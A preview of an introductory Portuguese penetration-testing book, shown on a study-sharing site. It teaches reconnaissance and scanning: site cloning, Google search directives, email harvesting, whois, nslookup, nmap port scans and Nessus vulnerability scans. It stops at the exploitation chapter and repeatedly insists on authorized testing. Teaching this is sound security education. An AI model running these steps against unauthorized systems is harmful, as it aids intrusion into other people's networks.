Buscar

Testes de Invasão

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 78 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 78 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 78 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

Introdução aos Testes de Invasão
Técnicas de ataque para melhorar suas defesas
 
 
 
Fabrício Bueno
 
2016
 
 
 
 
 
 
 
 
 
 
B928u Bueno, Fabrício.
 Introdução aos Testes de Invasão: Técnicas de ataque
para melhorar suas defesas / Fabrício Bueno. – Tubarão,
SC, 2016.
153p. : il.
 
Inclui referências.
 
1. Hacker - Teste de invasão. I. Título
 
CDU 004.056.53
 
Sobre o Autor
 
Fabrício Bueno é graduado em Ciência da Computação pela Pontifícia
Universidade Católica de Goiás e mestre em Engenharia da Computação pela
Universidade Federal de Goiás. Tem experiência profissional em diversas
instituições: SERPRO, Agência Goiana de Administração e Negócios
Públicos, Pontifícia Universidade Católica de Goiás, Universidade Federal de
Goiás, Universidade Federal da Fronteira Sul e Instituto Federal de Santa
Catarina (instituição onde atua como professor de Informática).
É autor dos livros técnicos “Otimização Gerencial em Excel” e “Estatística
para Processos Produtivos” pela editora VisualBooks, e dos livros
Estaticópolis: um jeito novo de aprender Estatística, Estatística Básica para
Processos Produtivos, Ubuntu em Linha de Comando, Introdução aos Testes
de Invasão, Design de Logomarcas com Inkscape e Tratamento de Imagens
com Gimp pela Amazon.
É também autor das obras de ficção Estações Marítimas: O Retorno ao
Continente, O Olho e Outros Contos Insólitos, Gonecity e Outrora e outros
contos insólitos pela Amazon.
Contatos com o autor podem ser feitos por meio de seu e-mail:
fbbsantos@gmail.com
 
Como este livro está organizado
 
Este livro tem como objetivo ser um texto introdutório a hacking e testes
de invasão. Senti a necessidade de escrever este livro quando comecei a
estudar segurança da informação.
Embora os livros indicados nas referências sejam de grande qualidade e
bastante didáticos, às vezes podem ser relativamente difíceis para um
iniciante sem uma boa base em Computação.
Diante disso, tentei apresentar de forma bastante básica as técnicas e
ferramentas utilizadas, deixando referências tanto para textos mais avançados
quanto para textos que possam preencher lacunas de conhecimentos
necessários para entender e efetuar testes de invasão.
Uma vez que o livro é voltado para para interessados em se iniciar em
hacking e testes de invasão, não é necessária experiência anterior. Porém é
importante que o leitor tenha um domínio básico de Linux, preferencialmente
da distribuição Ubuntu (neste ponto posso inclusive recomendar meu livro
Ubuntu em Linha de Comando: Operação e Administração Eficiente do
Ubuntu Linux), conhecimentos de básicos de redes de computadores.
Promover um conteúdo de hacking e testes de invasão vai ao encontro da
necessidade de se conhecer as técnicas de invasão para se adotar medidas de
prevenção à invasão. Em outras palavras: para se defender é preciso
http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_2?ie=UTF8&qid=1437502813&sr=8-2&keywords=fabricio+bueno
conhecer as técnicas e ferramentas de ataque, ou seja, segurança ofensiva
(ENGEBRETSON, 2014). Não recomendo o uso do conteúdo deste livro
para fins ilegais ou para causar prejuízos a terceiros. Crimes virtuais possuem
consequências bastante sérias, portanto, use este conhecimento apenas para
apenas para o bem.
Sumário
Introdução
Coleta de Informações
Clonagem de Sites
Diretivas Google
Obtendo Endereços de e-mail
Whois e NetCraft
Nslookup
Escaneando Portas Abertas e Serviços
Ping
Escaneando Portas
Escaneando Vulnerabilidades
Explorando Vulnerabilidades
Acessando serviços remotos
Utilizando um Framework
Cracking de Senhas
Sniffing de Tráfego de Rede
Conclusão
Referências Bibliográficas
Livros Publicados na Amazon
Introdução
 
Testes de invasão são atos éticos e legais (desde que contem com
autorização do proprietário do sistema alvo) de explorar falhas de
segurança em sistemas de computadores com o objetivo de saná-las. São
simulações de ataques reais para avaliar os riscos potenciais de falhas de
segurança.
Ao fim de cada teste bem sucedido, tem-se a possibilidade de propor
melhorias e correções que evitem futuros ataques e invasões, tornando os
sistemas mais seguros.
Segundo Engebretson (2014), a segurança ofensiva tem sido cada vez
mais adotada por empresas e governos. Portanto, pode-se considerar que há
um mercado crescente na área de segurança não só no que se refere a testes
de invasão (conteúdo principal deste livro), mas também na correção de
falhas e vulnerabilidades (problemas que podem ser explorados por um
invasor (HOGLUND & MACGRAW, 2006)), avaliações de risco, adoção
de políticas de segurança e recuperação de desastres.
Para realizar testes de invasão há uma série de ferramentas de fácil
instalação e utilização disponíveis. As distribuições Kali e Blacktrack do
Linux já trazem consigo várias das ferramentas que utilizaremos neste
livro, porém a instalação das mesmas no Ubuntu (distribuição utilizada
neste livro) é bem simples e serão dadas instruções a cada capítulo.
Ao executar os testes de invasão apresentados neste livro é necessário
ter um computador alvo destinado unicamente a este fim. Portanto, não é
recomendável utilizar como alvo um computador de terceiros, pois além de
poder causar danos durante os testes, invadir um computador de terceiros
pode ter sérias consequências legais. Caso não possua um computador
destinado a este fim, pode-se utilizar máquinas virtuais. Particularmente,
recomendo a VirtualBox. Mais informações serão apresentadas ao longo
do livro.
Segundo Weidman (2014), um teste de invasão possui as seguintes
fases:
 Preparação: envolve uma conversa com o cliente a respeito dos
objetivos do teste de invasão, extensão do teste e outros detalhes
particulares a cada caso;
 Coleta de dados: busca de informações sobre o cliente;
 Modelagem de ameaças: faz-se o plano de ação e escolha de
métodos de ataque;
 Análise de vulnerabilidades: busca de vulnerabilidades no sistema
alvo;
 Exploração de falhas: tenta-se tirar vantagem das vulnerabilidades
descobertas;
 Geração de relatório: elabora-se um relatório com as descobertas e
recomendações de segurança.
 
Levando-se em conta estas fases, e tendo-se em vista o caráter 
introdutório deste livro, os capítulos foram escritos em uma sequência de
passos para um teste de invasão. Basicamente a sequência apresentada
neste texto consiste em:
 
Reconhecimento: quando são identificadas informações sobre o alvo
(IP, sistema operacional, servidor web e outros serviços, contas de e-
mail, etc);
Escaneamento (ou scanning): quando são procuradas portas abertas
e vulnerabilidades;
Exploração de falhas: quando de fato ocorre a invasão.
 
Em algumas situações estes passos podem se repetir de forma cíclica.
Por exemplo: em algumas situações, para chegar a um alvo principal, pode
ser necessário invadir alguns alvos secundários.
Embora este livro sugira uma sequência de passos para um teste de
invasão, à medida que obtiver experiência neste processo você
desenvolverá sua própria metodologia e definirá quais passos irá adotar e
como irá executá-los.
Coleta de Informações
 
 
Um teste de invasão envolve uma série de ferramentas e passos que se
complementam. Portanto, é necessário um conhecimento amplo, mas não
necessariamente aprofundado, para a construção de um plano de teste de
invasão.
O primeiro passo para um plano é a coleta de informações sobre o
sistema sistema alvo. Neste momento não ocorre um ataque de forma ativa.
Mas sem esta fase, de nada adiantarão as ferramentas mais poderosas à
sua disposição. Quanto mais dados dispuser sobre um determinado alvo,
maiores as chances de sucesso no teste de invasão.
Esta fase não envolve propriamente o uso de ferramentas
automatizadas. Na verdade a coleta de dados tem um caráter menos técnico
que as demais etapas. Segundo Weidman (2014), podemos aprender
bastante sobre um alvo e sua infraestrutura antesde enviar um pacote
sequer.
A primeira coisa a se fazer é reunir o máximo de informações sobre o
alvo e criar uma lista de IPs ou URLs (Uniform Resource Locators –
localizadores padrão de recursos) que possam ser atacados.
Nas próximas seções analisaremos ferramentas para clonagem de sites
(os sites de um sistema alvo costumam guardar informações relevantes),
utilizar diretivas do Google para coleta de informações, obter Endereços de
e-mail e utilizar as ferramentas Whois, NetCraft e Nslookup.
 
Clonagem de Sites
 
Devemos analisar detalhadamente o site do alvo. Para tanto, uma
ferramenta de clonagem de sites pode ser bastante útil. Utilizaremos a
ferramenta HTTrack. Trata-se de um utilitário gratuito que cria uma cópia
offline idêntica ao site alvo (incluindo páginas, links, figuras e código do
site).
É importante que esta análise ocorra offline, caso contrário seus
sucessivos acessos ao site alvo serão rastreados e identificados, ou seja,
serão deixadas “impressões digitais” para trás.
Para instalar o HTTrack, basta digitar o comando abaixo.
 
apt-get install httrack
 
Para inicializar o software digite:
 
httrack
 
Algumas informações serão solicitadas. A primeira delas é o nome do
projeto. Em seguida é solicitado o caminho padrão (base path). A menos
que queira alterá-lo, pode teclar Enter. Em seguida, forneça a URL do site
que deseja clonar.
A seguir podemos escolher 5 ações possíveis. Neste momento, a mais
indicada é a primeira Mirror Web Site (espelhar site da web). Para as
próximas perguntas, apenas tecle Enter para manter a resposta padrão.
Porém na última pergunta Ready to launch the mirror (Y/N) (pronto para
lançar o espelhamento), tecle Y.
Esta operação pode durar apenas alguns minutos ou várias horas,
dependendo do tamanho do site alvo. Só uma observação digna de nota:
clonar um site é uma atividade de fácil rastreamento, e não é considerada
inofensiva, pelo contrário, é tida como bastante ofensiva. Portanto, cabe
aqui reforçar que um teste de invasão deve ser autorizado pelo cliente.
Quando a clonagem do site for concluída, o software apresentará a
mensagem “Done. Thanks for unsing HTTrack” (“Pronto! Obrigado por
usar o HTTrack”).
Se você não alterou o caminho padrão, o site clonado estará no diretório
/home/<nome_do_usuario>/websites. Caso esteja utilizando o Linux Kali,
o site estará no diretório /root/websites.
Utilizando o navegador de sua preferência, digite na barra de URL o
endereço do site clonado, com base no caminho apresentado no parágrafo
anterior.
Navegue pelo site observando todos os detalhes possíveis. Será
possível, a partir desta análise, conhecer algumas tecnologias utilizadas
pelo site alvo, e-mails, sites parceiros, e diversas outras informações, bem
como ter uma noção de sua cultura organizacional.
O HTTrack também pode ser utilizado através de uma interface gráfica.
Para instalar a interface gráfica do HTTrack, basta digitar o comando
abaixo.
 
apt-get install httraqt
Os passos e as informações são praticamente as mesmas utilizada no
software em linha de comando, apenas algumas opções extras são
oferecidas pelo httraqt.
 
 
Diretivas Google
 
O Google possui ferramentas tão eficientes de pesquisa que torna
possível a obtenção de informações para a realização de testes de invasão
(ENGEBRETSON, 2014). As diretivas de pesquisa do Google permitem
utilizar palavras-chave para extrair diversas informações do alvo.
Uma diretiva consiste de dois itens separados por dois pontos:
Nome da diretiva;
Termo a ser pesquisado.
A primeira diretiva que usaremos é site. Esta diretiva faz com que o
Google retorne somente resultados de um domínio especificado. Exemplo:
 
site:empresaX.com.br email fulano
 
Neste exemplo o Google retornará resultados com o endereço de e-mail
de uma pessoa (provavelmente um servidor da empresaX (nome fictício
não relacionado a sites existentes até a data de publicação deste livro), que
a título de exemplo chamei de fulano) do domínio empresaX.com.br.
A próxima diretiva que analisaremos é a intitle. Esta diretiva faz com
que o Google retorne como resultado apenas sites que possuam
determinadas palavras-chave no título da página web. Exemplo:
 
intitle:index of
 
Este exemplo permite visualizar listas diretórios que tenham sido
indexados e disponíveis nos seus respectivos servidores web.
Caso se queira pesquisar uma palavra-chave no endereço de um site, ou
seja, na url, utilizamos a diretiva inurl. Exemplo:
 
inurl:admin
 
Como resultado será retornada uma série de páginas de login.
Uma diretiva bastante interessante é a cache, que exibe apenas as
informações extraídas da cache do Google, que contém cópias reduzidas de
todos sites sujeitos ao rastreamento dos Google bots. Pesquisar a cache do
Google traz algumas vantagens:
 
Não deixa “impressões digitais” no servidor alvo;
Permite visualizar páginas e arquivos que tenham sido removidos do
site alvo.
 
Exemplo de uso da diretiva cache:
 
cache:empresaX.com.br
 
Esta pesquisa retornará a versão em cache do site da empresaX.
A diretiva filetype permite que sejam realizadas pesquisas baseadas em
extensões de arquivos. Exemplo:
 
filetype:config apache
 
Neste exemplo serão retornados todos arquivos com extensão .config
relacionados ao Apache (servidor web livre).
Pode-se utilizar qualquer tipo de extensão: .txt, .doc, .odt, .pdf, .ppt, .xls,
.ods, e diversos outros.
Caso se queira procurar por aquivos .config relacionados ao servidor
Apache da empresaX, podemos utilizar a pesquisa:
 
cache:config site:www.empresaX.com.br apache
 
Como se trata de uma pesquisa bastante restrita, é possível que não
sejam encontrados resultados. Nestes casos, é necessário reformular a
pesquisa para que se encontre as informações desejadas.
http://www.empresaX.com.br/
Diversas sugestões de diretivas de pesquisa podem ser encontradas no
Google Hacking Database, disponível no site: www.exploit-db.com.
 
 
http://www.exploit-db.com/
Obtendo Endereços de e-mail
 
Endereços de e-mail podem ser bastante úteis em um teste de invasão.
Primeiro porque funcionários de uma corporação podem fazer postagens
com informações reveladoras aspectos de segurança de sua empresa.
Segundo porque normalmente se utiliza o mesmo nome de usuário do
endereço de e-mail para login em intranets e em sistemas corporativos.
Neste ponto, é interessante utilizarmos uma ferramenta como o The
Harvester. Trata-se de um script feito em Python que pesquisa rapidamente
endereços de e-mail e subdomínios de um alvo. Este script está disponível
no site www.edge-security.com.
Após o download e descompactação, entre no diretório do The
Harvester e torne o script theHarvester.py executável. Se você tiver
alguma dúvida em como realizar estes procedimentos, posso recomendar
consulta ao meu livro sobre linux Ubuntu em Linha de Comando,
disponível também na Amazon.
Para utilizar o The Harvester, deve-se informar o domínio (opção -d), o
número limite de resultados (opção -l) e a fonte de dados (opção -b).
Exemplo:
 
./theHarvester.py -d empresaX.com.br -l 10 -b google
http://www.edge-security.com/
http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_1?ie=UTF8&qid=1438604872&sr=8-1&keywords=fabricio+bueno
 
Não se esqueça que este comando deve ser executado no diretório do
script.
Neste exemplo, será utilizado o Google para pesquisar e-mails de nossa
fictícia empresaX. Além do Google, podem ser utilizados outros
repositórios públicos como Bing, PGP, LinkedIn, e outros.
O exemplo a seguir procura e-mails utilizando todas as fontes de dados.
 
./theHarvester.py -d bulbsecurity.com -l 10 -b all
 
A figura a seguir exibe o resultado deste comando, com algumas
informações propositalmente omitidas. A seção Hosts Found é bem mais
extensa do que a apresentada na figura.
Whois e NetCraft
 
O comando whois permite acessar diversas informações do alvo:Endereço IP e nome dos servidores DNS;
Domínio;
Proprietário;
CNPJ;
Endereço;
Telefone;
Outras.
 
Para utilizar o comando whois, basta fornecer o endereço do alvo.
 
whois empresaX.com.br
 
Para um teste de invasão, um dos dados mais relevantes são os
endereços IP e nomes dos servidores DNS. Em algumas situações pode ser
exibido apenas o nome do servidor DNS. Neste caso pode-se utilizar o
comando host para obter o endereço IP. Exemplo:
 
host empresaX.com.br
 
Embora esteja incluído no sistema operacional Linux, o serviço Whois
também está disponível no site www.whois.net.
De forma complementar ao Whois, o site www.netcraft.com nos
fornece uma série informações. Basta digitar o nome do alvo no campo
What’s that site running? (o que esse site está executando).
Repetindo o exemplo apresentado por Weidman (2014), vamos fazer
uma consulta do portal www.bulbsecurity.com. Caso seja digitada apenas a
palavra chave bulbsecurity, o resultado será uma lista de sites que
contenham as palavras usadas na pesquisa. Nesta lista são exibidos links
para relatórios dos sites (Site Report). Clique em um destes links e um
relatório detalhado será apresentado. Caso o endereço completo da URL
tenha sido digitado, o relatório será exibido diretamente.
A seguir são exibidas informações das seções Background e Network do
relatório.
 
http://www.whois.net/
http://www.netcraft.com/
http://www.bulbsecurity.com/
 
 
Nestas seções pode-se verificar algumas informações da empresa,
inclusive o primeiro acesso do site (2012). Nas informações de rede estão
disponíveis o endereço IP, o nome do servidor, o e-mail do administrador
do DNS, e diversas outras informações.
Na figura a seguir são exibidas informações da seção Hosting History.
 
Note que, além do IP, informações sobre o sistema operacional e o
servidor web são exibidas.
Este relatório possui diversas outras seções com importantes
informações sobre segurança do sistema alvo. Não convém neste texto
introdutório analisarmos todas, mas recomendo que o leitor busque
compreendê-las progressivamente. 
Resumindo, além das informações que podem ser obtidas pelo Whois,
este relatório exibe o sistema operacional e o servidor web utilizado pelo
alvo, além de tecnologias web suportadas pelo servidor.
Nesta subseção o termo “servidor DNS” foi citado algumas vezes, mas
não foi explicada a importância deste servidor em um teste de invasão.
Vamos relembrar o que é DNS: Domain Name System (Servidor de
Nome de Domínio). É o serviço responsável pela tradução de nomes de
domínio em endereços IP. Um servidor DNS tem registrado o IP e nome de
cada computador em sua rede.
Portanto, já temos motivos suficientes para dar grande importância a um
servidor DNS, que será o assunto principal nas próximas subseções.
Nslookup
 
O nslookup é um comando usado em consultas a servidores DNS. Este
comando permite obter informação de hosts registrados no servidor.
Neste exemplo, iremos utilizar o DNS público do Google (não usarei
aqui a empresaX pois, como se trata de um exemplo fictício, não teria
resultados para apresentar).
 
nslookup 8.8.8.8
 
São retornadas as seguintes informações.
 
Server: 127.0.1.1
Address: 127.0.1.1#53
 
Non-authoritative answer:
8.8.8.8.in-addr.arpa name=google-public-dns-a.google.com.
 
 
 
As informações estão relacionadas, respectivamente, ao IP e registro do
servidor.
Alguns endereços possuem diversos servidores DNS. Por exemplo, ao
digitar
 
nslookup google.com
 
uma lista de servidores será exibida.
Caso deseje obter informações do servidor de e-mail basta incluir a
opção -query=mx. MX se referem ao termo Mail Exchange (Troca de
correio).
Neste exemplo, consultaremos o nome de servidor de e-mail do site
Ubuntu.com.
 
nslookup -query=mx ubuntu.com
 
As informações retornadas são:
 
Server: 127.0.1.1
Address: 127.0.1.1#53
 
Non-authoritative answer:
ubuntu.com mail exchanger= 10 mx.canonical.com.
 
O número logo antes do nome do servidor de e-mail é o grau de
preferência do servidor. Como a Canonical apresenta apenas um servidor,
esta informação não é tão relevante.
Informações mais detalhadas sobre um domínio podem ser obtidas com
a opção -query=soa. Para o comando nslookup -query=soa ubuntu.com,
temos as informações:
 
Server: 127.0.1.1
Address: 127.0.1.1#53
 
Non-authoritative answer:
ubuntu.com
origin = ns1.canonical.com
mail addr = hostmaster.canonical.com
serial = 2015080601
refresh = 10800
retry = 3600
expire = 604800
minimum = 3600
 
São exibidos:
 
Origin: Informação oficial sobre o domínio;
Mail Adress: Endereço de e-mail do administrador de domínio
(hostmaster@canonical.com)
Serial: Número de série do domínio, uma espécie de sistema de
revisão de numeração. A convenção padrão é usar o
“YYYYMMYYNN” formato, neste caso 2015/08/06-01. Os últimos
dois dígitos referem-se ao número de edições no domínio no mesmo
dia;
Refresh: especifica, em segundos, quando o DNS secundário vai
sondar o servidor de DNS primário para verificar se o número de
série foi incrementado. Se houve incremento, o servidor secundário
vai fazer um novo pedido para copiar o novo arquivo de zona;
Repeat: especifica o intervalo para reconectar com o DNS primário;
Expire: especifica o tempo que o DNS secundário vai manter o
arquivo de zona em cache como válida;
Minimum: especifica o tempo que o DNS secundário deve
armazenar em cache o arquivo de zona.
 
Caso queira visualizar em uma única consulta todos os registros
mailto:hostmaster@canonical.com
disponíveis, basta utilizar a opção -query=any.
É importante organizar os resultados obtidos catalogando os dados
coletados. Estas informações serão bastante úteis nos próximos passos.
 
 
 
Escaneando Portas Abertas e Serviços
Após o processo de coleta de informações, você deve ter conhecer
relativamente bem seu alvo e deve possuir um conjunto de endereços IP.
Nesta seção, a partir das informações coletadas, faremos uma busca por
portas abertas e seus respectivos serviços.
Mas o que seria uma porta?
As portas consistem em conexões de dados que permitem que um
computador troque dados com outros computadores, softwares e dispositivos
(ENGEBRETSON, 2014). Em outras palavras, como o próprio nome já diz,
portas são maneiras de “entrar e sair” de um computador.
A seguir são citadas algumas portas e os serviços relacionados.
 
Porta 20: transferência de dados FTP;
Porta 21: controle de transferência FTP;
Porta 22: SSH;
Porta 23: Telnet;
Porta 25: SMTP;
Porta 53: DNS;
Porta 80: HTTP;
Porta 443: HTTPS.
 
Evidentemente há muito mais portas além das citadas.
A partir das portas existentes é possível buscar pontos de vulnerabilidade
em um alvo. Uma vez identificada uma vulnerabilidade, deve-se analisar o
nível da mesma. Em outras palavras, deve-se verificar as oportunidades que
esta vulnerabilidade apresenta. Algumas podem ser bastante limitadas,
enquanto outras podem permitir um controle total de um alvo.
Nas próximas subseções serão apresentadas ferramentas de escaneamento.
Novamente, por questões éticas e de segurança, sugiro que não as utilize
em um alvo real, mas que as execute em computadores testes em uma rede
interna ou em máquinas virtuais instaladas em seu próprio computador.
Conforme já citado anteriormente, um bom software livre para este fim é o
VirtualBox (www.virtualbox.org).
 
http://www.virtualbox.org/
Ping
 
Ping é um utilitário que utiliza protocolo ICMP (Internet Control Message
Protocol). Este utilitário envia pacotes solicitando respostas dos
computadores ou dispositivos de rede alvos. Nos pacotes de resposta, são
enviadas informações sobre o alvo e sobre a rede.
Entretanto, mesmo que o alvo seja encontrado e esteja ativo, pode ser que
um pacote de resposta não seja enviado. Isto ocorre porque computadores e
dispositivos de rede podem ser configurados para não responder a pacotes
gerados pelo utilitário Ping.
Este utilitário pode ser utilizado através do comando:ping 8.8.8.8
 
O IP fornecido deve ser o endereço do alvo. O resultado é exibido na
figura a seguir (comando executado em Linux).
 
 
 
A primeira linha apresenta o endereço do alvo e o tamanho do pacote
enviado. Cada uma das linhas seguintes informa que pacotes de resposta
foram recebidos com as seguintes informações:
 
O tamanho desses pacotes (64 bytes);
Sua ordem de envio (icmp_seq);
Tempo de vida do pacote (ttl);
Tempo (em milissegundos) entre o envio e recebimento do pacote
(time);
 
Na penúltima linha são exibidas algumas estatísticas: número de pacotes
enviados, número de pacotes recebidos, porcentagem de perda e tempo total.
Em testes de invasão, o Ping pode ser utilizado para descobrir hosts
enviando pacotes para diversos endereços. Porém, fazer isto manualmente
seria bastante trabalhoso. Portanto, utilizaremos ferramentas chamadas de
ping sweepers, que permitem o envio automatizado de pacotes para uma
faixa de endereços IP.
Neste exemplo utilizaremos o comando fping. Caso não esteja instalado
em seu computador basta digitar:
 
apt-get install fping
 
Se você estiver utilizando Windows, será necessário fazer o download do
software.
Para descobrir os hosts na faixa de IP de 10.0.0.1 a 10.0.0.255, utilize o
comando.
 
fping -a -g 10.0.0.1 10.0.0.254>hosts.txt
 
As opções utilizadas, -a e -g, servem respectivamente, para mostrar apenas
os hosts ativos no arquivo de saída e para especificar o intervalo de endereços
IP que deseja pesquisar. O caractere > ao fim do comando direciona a saída
do comando para o arquivo hosts.txt. Este arquivo pode ser aberto em um
editor de texto ou simplesmente digitando:
 
cat hosts.txt
 
No arquivo constarão os IPs dos hosts descobertos.
 
Escaneando Portas
 
A partir da lista de alvos descoberta, iniciaremos a busca por portas em
cada um dos hosts identificados. Uma vez que encontrarmos uma porta
aberta, poderemos obter maiores informações sobre o seu host.
Assim como procurar por uma faixa de IPs pode ser bastante trabalhoso se
feito manualmente, é pouco prático procurar manualmente por portas abertas,
já que há um total de 65.536 portas existentes. Ou seja, um host pode possuir
portas de 0 a 65.535 (ENGEBRETSON, 2014). Portanto, uma ferramenta
para este processo é fundamental.
Iremos utilizar a ferramenta Nmap. Segundo Weidman (2014), o Nmap é
um padrão de mercado para o escaneamento de portas. Para instalá-lo, basta
digitar:
 
apt-get install nmap
 
Após a instalação, digite o comando:
 
nmap -sT -p- -Pn 10.0.0.102
 
A opção -sT indica que a busca será um scan TCP Connect (para conhecer
mais detalhes sobre este e outros tipos de scan, consulte a documentação do
comando nmap). A opção -p- indica que o nmap deve efetuar a busca em
todas as portas (caso contrário a busca será efetuada nas 1.000 portas mais
comuns). A opção -Pn indica que o nmap não tentará descobrir se o host está
ativo utilizando o ping.
A seguir é exibido o resultado do comando. Note que há apenas 3 portas
abertas no host 10.0.0.102.
 
Starting Nmap 6.40 ( http://nmap.org ) at 2015-08-15 09:16 BRT
Nmap scan report for 10.0.0.102
Host is up (0.00030s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
17500/tcp open db-lsp
 
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds
 
 
 
Caso queira fazer uma busca em uma faixa de IPs, basta incluir o último
IP da faixa que deseja pesquisar.
 
nmap -sT -p- -Pn 10.0.0.102-254
Conforme dito anteriormente, a opção -sT realiza uma busca em portas
TCP. O protocolo TCP é orientado à conexão, ou seja, o emissor e o receptor
devem permanecer em sincronia, garantindo a entrega dos pacotes.
É também imprescindível realizar buscas em portas UDP. O protocolo
UDP não é orientado à conexão. Neste protocolo os pacotes são enviados
pelo emissor sem que haja sincronia com o receptor. Em outras palavras, não
há garantia que os pacotes cheguem ao receptor. Embora esta pareça ser uma
desvantagem do UDP, esta característica torna o UDP bastante útil por gerar
menos tráfego em rede, sendo utilizado por serviços como DHCP, DNS,
SNMP, DNS e FTP.
Para executar uma busca UDP, digite o comando:
 
nmap -sU -Pn 10.0.0.102
 
A opção -sU determina que a busca seja feita em portas UDP. A opção -p-
não será utilizada pois a busca em portas UDP é mais lenta, portanto
deixaremos o padrão de busca nas 1.000 portas mais comuns.
A seguir é exibido o resultado do comando.
 
 
 
Starting Nmap 6.40 ( http://nmap.org ) at 2015-08-15 09:18 BRT
Nmap scan report for 10.0.0.102
Host is up (0.000018s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
631/udp open|filtered ipp
5353/udp open|filtered zeroconf
 
Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds
 
 
A maioria das portas é marcada como open|filtered, isto ocorre porque
como não há pacote de resposta no protocolo UDP, não é possível diferenciar
uma porta aberta de uma porta sendo filtrada por um firewall.
Por falar em firewall, duas boas opções para detectar portas mesmo com a
presença de um firewall no alvo são -sX e -sN, que significam,
respectivamente, busca Xmas e busca Nula (ENGEBRETSON, 2014).
 
Escaneando Vulnerabilidades
 
Tendo em mãos uma lista de IPs de alvos e suas respectivas portas abertas,
devemos passar ao passo seguinte, a busca de vulnerabilidades nessas portas.
Primeiro, vamos definir vulnerabilidade: trata-se de um ponto fraco no
software que pode ser explorado. Este ponto fraco pode dever-se a uma
característica própria software ou a uma configuração específica do mesmo.
Neste ponto fica evidente a utilidade dos conteúdo deste livro. A partir do
momento em que se é capaz de reconhecer falhas no software ou na
configuração do mesmo, pode-se alertar o fornecedor (que corrigirá o
problema e lançará uma patch de correção) ou o administrador do sistema
(que buscará uma configuração mais segura) sobre vulnerabilidades que
ponham em risco servidores e suas respectivas redes.
Para explorar vulnerabilidades, utilizaremos o Nessus, um dos
escaneadores de vulnerabilidade mais amplamente usados (WEIDMAN,
2014). O banco de dados deste software inclui vulnerabilidades em várias
plataformas e protocolos, sendo capaz de detectar diversos problemas
conhecidos.
O Nessus está disponível no site www.tenable.com. Faça o download da
versão Home.
Após a instalação (se tiver dúvidas quanto a instalação de pacotes .deb,
http://www.tenable.com/
recomendo novamente que consulte o livro Ubuntu em Linha de Comando),
para iniciar o Nessus, digite:
 
/etc/init.d/nessusd start
 
Este comando fará com que o Nessus execute em background. Para
acessar o Nessus, utilize um navegador e digite na barra de endereços:
https://NOME-DO-COMPUTADOR:8834/ ou https://localhost:8834/, ou
ainda https://127.0.0.1:8834/.
A partir da página que se abrirá, será possível configurar o Nessus, criando
uma conta de administrador, registrando o software (será necessário
preencher um formulário no site para receber uma chave por e-mail) e
instalando os plug-ins (o que ocorrerá automaticamente após o registro).
Após a instalação, entre com o usuário e senha. Crie um Scan clicando em
New Scan. Sugiro que comece com um template de Scan básico chamado
Basic Network Scan. Forneça um nome e descrição para este Scan, um ou
mais alvos, e defina se irá pesquisar pelas portas mais comuns ou todas as
portas.
A figura abaixo exibe a tela de configuração geral de um Scan Básico. No
menu Discovery, é possível definir se o Scan ocorrerá nas portas mais
comuns ou em todas elas.
http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_1?ie=UTF8&qid=1438604872&sr=8-1&keywords=fabricio+bueno
https://localhost:8834/
https://localhost:8834/
 
Após salvar o Scan, caso tenha desmarcadoa opção Launch this scan
immediately (lançar este scan imediatament), o scan será iniciado.
Quando o scan terminar, um relatório será exibido com as
vulnerabilidades descobertas, seus níveis (dê especial atenção aos níveis altos
e críticos), descrição das vulnerabilidades e possíveis soluções.
Com as informações obtidas até aqui, já podemos iniciar tentativas de
ataque a um sistema em um teste de invasão.
 
Explorando Vulnerabilidades
 
A partir das informações obtidas nos capítulos anteriores, vamos iniciar a
exploração de vulnerabilidades (também chamada de exploração de falhas, ou
explotation (ENGEBRETSON, 2014)). Nesta etapa tentaremos obter algum
